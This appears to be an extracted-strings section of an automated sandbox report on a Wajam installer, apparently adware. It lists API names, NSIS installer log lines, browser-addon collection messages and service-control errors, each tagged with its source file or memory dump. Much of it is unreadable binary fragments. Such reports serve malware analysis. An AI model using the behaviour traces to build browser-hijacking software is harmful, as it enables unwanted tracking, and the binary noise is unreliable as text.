c=AddUnsigned(c,CC);d=AddUnsigned(d,DD);} var temp = WordToHex(a)+WordToHex(b)+WordToHex(c)+WordToHex(d);retVal = temp.toLowerCase();}catch(e) {str += priam.Trace.add(method_name,'Error Message: '+e.message);}

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

c?2MQN-`z<

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

C@#VoV6#~edW9$3H"k;}qe)<"$LEG}h%IGum:6`zYhBK2P*K$|a

Ansi based on Dropped File (nsqE177.tmp)

Ca4c?tQkno;Bn-hOc;zcT}1`{]kPOMCiCG=]KVI

Ansi based on Dropped File (nsqE177.tmp)

CA>|/p/W|NV6VP~#f32N8

Ansi based on Dropped File (nsqE177.tmp)

cAB;|PjdQ4@PEht@P@EPu@EPhu'3V39t$t#B;tP@5#B^95#BtV_4^@;Cv#Vh/@Vjo5C@jP#B@^U(SV3W]]@ChVSC@jhV+}=p@u

Ansi based on Dropped File (nsqE177.tmp)

CacheMode

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

CachePrefix

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

Call: 1029

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

Call: 1101

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

Call: 1238

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

Call: 1396

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

Call: 1415

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

Call: 1456

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

Call: 1477

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

Call: 1570

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

Call: 2138

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

Call: 2475

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

Call: 354

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

Call: 378

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

Call: 535

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

callback%d

Ansi based on Dropped File (System.dll.4179624505)

CallWindowProcA

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

CallWindowProcW

Ansi based on Dropped File (priam_bho.dll.1505483275)

Cancelled

Ansi based on Dropped File (inetc.dll.1181384010)

cannot open registry key for WRITE_DAC!

Ansi based on Hybrid Analysis (IE_approveExt.exe , 00047133-00001096.00000000.47259.00201000.00000020.mdmp)

CC@fD$SPSj0@S5CD$(+D$ SSPD$0+D$(PD$(t$0t$0hSPh@BStjX9Cj5B@5@h@uh@5 @@WUSuWh@SW-C@CSih=@SP5C$@j{j}+St9CNjSBjG3_^][SUVWCW="5$CtE

Ansi based on Dropped File (nsqE177.tmp)

CCD$WD$_NbC@

Ansi based on Dropped File (nsqE177.tmp)

cCmd.dll"

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000001.47722.0040A000.00000004.mdmp)

cdeee_b:cl:o^deeeeeebc{%`|HgiCw_.\deeeeeeeeeeeebjV>d^M~]l^2~z#ddau>^fjr})bea|%iocdaV2YkIenRfce[|'Y~Uebck_nuaeeeaq^oq\I~kce_>uadc}'|huabp``n_y"e.aeco~{&aeeee\dhcd`Ms]eede8Zsm0abn`_eB~qvbeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee`/LddeWWeeeedc`_lw|'z#pd^bdeeeeeeeeeeaey!{%dbdeeeeec_\ny"|'{$nc_beeeeeeeeed`amy"}(ue_cc^ev|&y"n]`deeeeeeeeeeeeeebbp~*}'m

Ansi based on Dropped File (nsqE177.tmp)

cdYYdbLjzy_jssF{yb@X^eaxI_eeecdKad\WeedfkR.[ZtQYxz|mubeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee^MjceSSeeedbe3^rFp_ceeeeeeeebm

Ansi based on Dropped File (nsqE177.tmp)

CE9EFD@uC+E}EKxC3@;]rK@0At0Au

Ansi based on Dropped File (nsqE177.tmp)

ceeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee`nJ_>ibee^Jl

Ansi based on Dropped File (nsqE177.tmp)

CEIPEnable

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

ceNO=h`eeecag,`eeau_Pdeeebd}kbj\aurb\lz[eeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee]_Q^e^Il

Ansi based on Dropped File (nsqE177.tmp)

CertCacheNoValidate

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

CertificateRevocation

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

ceSNhWeeeee_*,`eeaw]+`eeeed`~*kbj\aurb\lz[eeeeeeeeeeeedccdeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeddccdeeeeeeeedccdeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeddcdeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee]_R^e^Jl

Ansi based on Dropped File (nsqE177.tmp)

ceSNV]eeeeebt,`eeaw]\ceeeeeatlbj\aurb\lz[eeeeeeeeeed`blk

Ansi based on Dropped File (nsqE177.tmp)

ceSNzwYeeeee`z#-`eeaw]v`eeeed`z#bdj\aurb\lz[eeeeeeeeecd~*i|l7h_6;hde_}'UmvWghhhm2=C`dedc+U^iIz#beeeebuCsa6DjhI{$]F/dk

Ansi based on Dropped File (nsqE177.tmp)

ceSO=daeeec_Q{%aeeaw^XdeeecbeOgh[atqb\i{[eeeeeeeede>WZpbces^SxZdecbVtj]eeee_PDj.pmPfy!1`d]JOO[d;fcedaSsb~)bcedZvBTeceiBbW{d`AY^eaxK_cctedebf|&wiR/]^am})8aeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeeee]bU^e^Jl

Ansi based on Dropped File (nsqE177.tmp)

ceSPlug\`__/jceeawb_P[_`^_H}Tav^Z|'r]Tm\eeeeeeeeax eYWdcoa\eI[^lVYYY\b})W\Zm,]sc]eeee_J9?clePev-`[NDN{$TXfjlj_Y[K6`ebseYVgz#k

Ansi based on Dropped File (nsqE177.tmp)

ceSQaI-5]`_deeawgl

Ansi based on Dropped File (nsqE177.tmp)

ceSQbFwaeeeawiUc_6cceeeeeeechzYaz%~eJc\]t_bbme`x]\bsc]eeee_JPh:FePev~*]WFN2`ecdW[b:fqbeebYf=his_beSh[]x^Gyn_f|Ydedda\<\b_sB_eeWbZWeedfeR|'bla[m`bfFl

Ansi based on Dropped File (nsqE177.tmp)

ceSRcfOadeeeawi`k~*_ck

Ansi based on Dropped File (nsqE177.tmp)

ceSRdbqfibeeeeax jc]7R^dd`A})`eeeeeeeedbXlbb^\orWfYYhi[0orrtdd]SKXebsc]eeee_Jg\~cPevQtdRGN2`eca\cl:l`nfdeddr5lej].prrpedXKS]bIJ[[cjm

Ansi based on Dropped File (nsqE177.tmp)

ceSRedb~*`haeeeeecjjceZ6NdceecfZdYdeeeeeeeee`+qX^[okSgZ\Rl[l

Ansi based on Dropped File (nsqE177.tmp)

ceSReed`pvBgbeeeeeed^zmedee[}(0^ceeeebhPW^deeeeeeeeeechaLW>Uxx]^`wzzy"cdYXeg{un}(be_H>_brbPfx +bdSKNvyyaeWeFnadedcsmBqy^xzzk

Ansi based on Dropped File (nsqE177.tmp)

CEuEuAEp;vEujOY;5B}

Ansi based on Dropped File (nsqE177.tmp)

CF;uVu3Z]_^[SVWU2C;rpJk;wb;uBCB)C{uH9?zk;u){*

Ansi based on Dropped File (nsqE177.tmp)

ChangeNotice

Unicode based on Runtime Data (iexplore.exe )

ChangeServiceConfig2A

Ansi based on Dropped File (SimpleSC.dll.523064890)

ChangeServiceConfig2W

Ansi based on Memory/File Scan (WajamUpdater.exe , 00047804-00003708.00000000.48060.00C03000.00000002.mdmp)

ChangeServiceConfigW

Ansi based on Memory/File Scan (WajamUpdater.exe , 00047804-00003708.00000000.48060.00C03000.00000002.mdmp)

CharNextA

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

CharNextW

Ansi based on Memory/File Scan (WajamUpdater.exe , 00047804-00003708.00000000.48060.00C03000.00000002.mdmp)

CharPrevA

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

CharUpperW

Ansi based on Memory/File Scan (WajamUpdater.exe , 00047804-00003708.00000000.48060.00C03000.00000002.mdmp)

CheckDlgButton

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

CHPuuuT@BSV5CEWPuX@eEEPu\@}eD@FRVVU+MM3FQNUMVTUFPEEPMH@EEPEPu`@uE9}w~Xtev4L@EtU}jWEEP@vXWT@u5X@WEEh PjhCWd@uWuEPuh@_^3[L$CSiVWTtOq3;5CsBiDtGtOt u33F;5Cr_^[UQQUSViC3WMMFt9Mt$BF;CsDi|Bt

Ansi based on Dropped File (nsqE177.tmp)

Chrome not found

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

chrome.exe

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000002.48308.0040A000.00000004.mdmp)

Chrome: Looking for file: LOCALAPPDATA\Google\Chrome\Application\chrome.exe

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

Chrome: Looking for file: PROGRAMFILES\Google\Chrome\Application\chrome.exe

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

CjD$N+@9\$h t$ j@h@U9(|CVU@tSU@Ut@8tCuVhtC't$h C'jf$CA_BC V'VD@9\$t?jVhC@t-SV$C$V'V;tP@\$$COuSU$9tCt{j,j,j,;tH;tD;t@D$Pj(@Pt,D$$Ph@SSSD$(SPSt$0D$8D$DSj0@uj9CtD$t$@p@tP@

Ansi based on Dropped File (nsqE177.tmp)

Cjtlih@t$>USVuWCjY}MUE C

Ansi based on Dropped File (nsqE177.tmp)

Ck8t\P=tUPu@FH+|$t/Cj5Ch0u5C4@Pht$P@}3^D$

Ansi based on Dropped File (nsqE177.tmp)

ck;gj2B.y&3g k.be9(r8E:>MI#RtLqt^Gk

Ansi based on Dropped File (nsqE177.tmp)

CkWoz:bk:|#,e(M|:5ny=wrnON|7__.:)yAz,V(-9r@w#z^3YfaB"9(%:

Ansi based on Dropped File (nsqE177.tmp)

Class Hierarchy Descriptor'

Ansi based on Memory/File Scan (IE_approveExt.exe , 00047133-00001096.00000000.47259.0020E000.00000002.mdmp)

ClassicShell

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

Click Abort to stop the installation,

Ansi based on Dropped File (nsqE177.tmp)

ClientAuthBuiltInUI

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

CllaIhloH

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

CloseClipboard

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

CloseHandle

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

CloseServiceHandle

Ansi based on Memory/File Scan (WajamUpdater.exe , 00047804-00003708.00000000.48060.00C03000.00000002.mdmp)

Closing FF

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

CLSID\{431532BD-0AE1-4ABC-BE8C-919F3D1332E2}\InProcServer32

Unicode based on Hybrid Analysis (WajamUpdater.exe , 00047804-00003708.00000000.48060.00BF1000.00000020.mdmp)

CLSIDFromProgID

Ansi based on Memory/File Scan (WajamUpdater.exe , 00047804-00003708.00000000.48060.00C03000.00000002.mdmp)

CLSIDFromString

Ansi based on Memory/File Scan (IE_approveExt.exe , 00047133-00001096.00000000.47259.0020E000.00000002.mdmp)

CNf)f3#ftuQCQCQ

Ansi based on Dropped File (nsqE177.tmp)

CoAddRefServerProcess

Ansi based on Memory/File Scan (WajamUpdater.exe , 00047804-00003708.00000000.48060.00C03000.00000002.mdmp)

CoCreateInstance

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

CODEx `DATA@@BSSy.idataR

Ansi based on Dropped File (nsqE177.tmp)

CoInitialize

Ansi based on Memory/File Scan (IE_approveExt.exe , 00047133-00001096.00000000.47259.0020E000.00000002.mdmp)

CoInternetGetSession

Ansi based on Dropped File (priam_bho.dll.1505483275)

Collect addons list on FF:

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

Collect addons list on IE:

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

COMCTL32.dll

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

Common Desktop

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

Common Documents

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

Common Programs

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

Common Startup

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

CommonFilesDir

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

CommonMusic

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

CommonPictures

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

CommonVideo

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

CompanyName

Unicode based on Memory/File Scan (WajamUpdater.exe , 00047804-00003708.00000000.48060.00C0C000.00000002.mdmp)

CompareFileTime

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

CompareStringW

Ansi based on Memory/File Scan (WajamUpdater.exe , 00047804-00003708.00000000.48060.00C03000.00000002.mdmp)

CompatDll

Unicode based on Runtime Data (IE_approveExt.exe )

CompatibilityFlags

Unicode based on Runtime Data (iexplore.exe )

Complete Object Locator'

Ansi based on Memory/File Scan (IE_approveExt.exe , 00047133-00001096.00000000.47259.0020E000.00000002.mdmp)

Component Categories

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

ComputerName

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

Connecting

Ansi based on Dropped File (inetc.dll.1181384010)

Connecting ...

Ansi based on Dropped File (inetc.dll.1181384010)

Connection Error

Ansi based on Dropped File (inetc.dll.1181384010)

ConnectRetries

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

ConnectServer failed.

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

ConnectTimeOut

Unicode based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

Content-Length: %dContent-Type: application/x-www-form-urlencodedPOSTPUTAuthorization: basic %sProxy-authorization: basic %sHEADInetc plug-in530UnknownNot Available%s:%s/endFtpCommandAwininet.dll%u MB%u kB%u bytes???%s%d:%02d:%02d/sec ) ( %d%%%s - %s (Err=%d)#32770NSIS_Inetc (Mozilla)Filename: %s/file/header/receivetimeout/connecttimeout/proxy/useragentAre you sure that you want to stop download?/question/canceltext/banner/translate/resume/popup/noproxy/nocookies/nocancel/password/username/caption/silentUploadingUploading %se@lXnp`hcPd

Ansi based on Dropped File (nsqE177.tmp)

Content-Type: application/x-www-form-urlencoded

Ansi based on Dropped File (inetc.dll.1181384010)

Content-Type: octet-streamContent-Length: %d

Ansi based on Dropped File (inetc.dll.1181384010)

ContinueService

Ansi based on Dropped File (SimpleSC.dll.523064890)

Control Panel\Desktop\ResourceLocale

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

ControlService

Ansi based on Memory/File Scan (WajamUpdater.exe , 00047804-00003708.00000000.48060.00C03000.00000002.mdmp)

ConvertSidToStringSidA

Ansi based on Memory/File Scan (IE_approveExt.exe , 00047133-00001096.00000000.47259.0020E000.00000002.mdmp)

CopyFileA

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

CopyFiles "%s"->"%s"

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

CoReleaseServerProcess

Ansi based on Memory/File Scan (WajamUpdater.exe , 00047804-00003708.00000000.48060.00C03000.00000002.mdmp)

CorExitProcess

Ansi based on Hybrid Analysis (IE_approveExt.exe , 00047133-00001096.00000000.47259.00201000.00000020.mdmp)

CoSetProxyBlanket

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

CoSetProxyBlanket failed.

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

CoTaskMemAlloc

Ansi based on Memory/File Scan (WajamUpdater.exe , 00047804-00003708.00000000.48060.00C03000.00000002.mdmp)

CoTaskMemFree

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

CoTaskMemRealloc

Ansi based on Memory/File Scan (WajamUpdater.exe , 00047804-00003708.00000000.48060.00C03000.00000002.mdmp)

Could not connect.

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

Could not delete service

Unicode based on Hybrid Analysis (WajamUpdater.exe , 00047804-00003708.00000000.48060.00BF1000.00000020.mdmp)

Could not open service

Unicode based on Hybrid Analysis (WajamUpdater.exe , 00047804-00003708.00000000.48060.00BF1000.00000020.mdmp)

Could not open Service Manager

Unicode based on Hybrid Analysis (WajamUpdater.exe , 00047804-00003708.00000000.48060.00BF1000.00000020.mdmp)

Could not set proxy blanket.

Ansi based on Memory/File Scan (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe , 00045479-00003408.00000000.45801.0040A000.00000004.mdmp)

Could not start service

Unicode based on Hybrid Analysis (WajamUpdater.exe , 00047804-00003708.00000000.48060.00BF1000.00000020.mdmp)

Could not stop service

Unicode based on Hybrid Analysis (WajamUpdater.exe , 00047804-00003708.00000000.48060.00BF1000.00000020.mdmp)

CoUninitialize

Ansi based on Memory/File Scan (WajamUpdater.exe , 00047804-00003708.00000000.48060.00C03000.00000002.mdmp)

CP1AtBt>W1At3%>uN@uNhFP0At,F

Ansi based on Dropped File (nsqE177.tmp)

CPhuSVuu.^]UHBSVEp<@8

Ansi based on Dropped File (nsqE177.tmp)

CPWsu+PWWMB

Ansi based on Dropped File (nsqE177.tmp)

CreateBrushIndirect

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

created uninstaller: %d, "%s"

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

CreateDialogParamA

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

CreateDirectory: "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Wajam" (0)

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

CreateDirectory: "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Wajam" created

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

CreateDirectory: "%PROGRAMFILES%\Wajam" (1)

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

CreateDirectory: "%PROGRAMFILES%\Wajam\Firefox" (1)

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

CreateDirectory: "%PROGRAMFILES%\Wajam\Firefox" created

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

CreateDirectory: "%PROGRAMFILES%\Wajam\IE" (1)

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

CreateDirectory: "%PROGRAMFILES%\Wajam\IE" created

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

CreateDirectory: "%PROGRAMFILES%\Wajam\Updater" (1)

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

CreateDirectory: "%PROGRAMFILES%\Wajam\Updater" created

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

CreateDirectory: "%s" (%d)

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

CreateDirectory: "%s" created

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

CreateDirectory: can't create "%s" (err=%d)

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

CreateDirectory: can't create "%s" - a file already exists

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

CreateDirectoryA

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

CreateEventW

Ansi based on Memory/File Scan (WajamUpdater.exe , 00047804-00003708.00000000.48060.00C03000.00000002.mdmp)

CreateFileA

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

CreateFileW

Ansi based on Memory/File Scan (IE_approveExt.exe , 00047133-00001096.00000000.47259.0020E000.00000002.mdmp)

CreateFontIndirectA

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

CreatePopupMenu

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

CreateProcessA

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

CreateProcessW

Ansi based on Memory/File Scan (WajamUpdater.exe , 00047804-00003708.00000000.48060.00C03000.00000002.mdmp)

CreateServiceW

Ansi based on Memory/File Scan (WajamUpdater.exe , 00047804-00003708.00000000.48060.00C03000.00000002.mdmp)

CreateShortCut: out: "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Wajam\uninstall.lnk", in: "%PROGRAMFILES%\Wajam\uninstall.exe ", icon: ,0, sw=0, hk=0

Ansi based on Runtime Data (6a393ecb2861a27240d322dd407f6adb7218b0a5.exe )

CreateShortCut: out: "%s", in: "%s %s", icon: %s,%d, sw=%d, hk=%d

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

CreateThread

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

CreateThread Error

Ansi based on Dropped File (inetc.dll.1181384010)

CreateToolhelp32Snapshot

Ansi based on Dropped File (ExecCmd.dll.1695374911)

CreateWindowExA

Ansi based on Memory/File Scan (f8989dce269bb3b7c0c9361421ec82199c0cb1094621bd5e3d6a3825c0e3e71c.bin)

crl.pki.goog

Ansi based on PCAP Processing (PCAP)

Cryw`0wy.[1zEICY\H#9F7:gA<i{/`[P5N!pXG<rJ u"s1Nu9O"OKp?|MYIBw#t, 4cve8I:`QBhk<xgKlLcwdjK?I^.E

Ansi based on Dropped File (nsqE177.tmp)

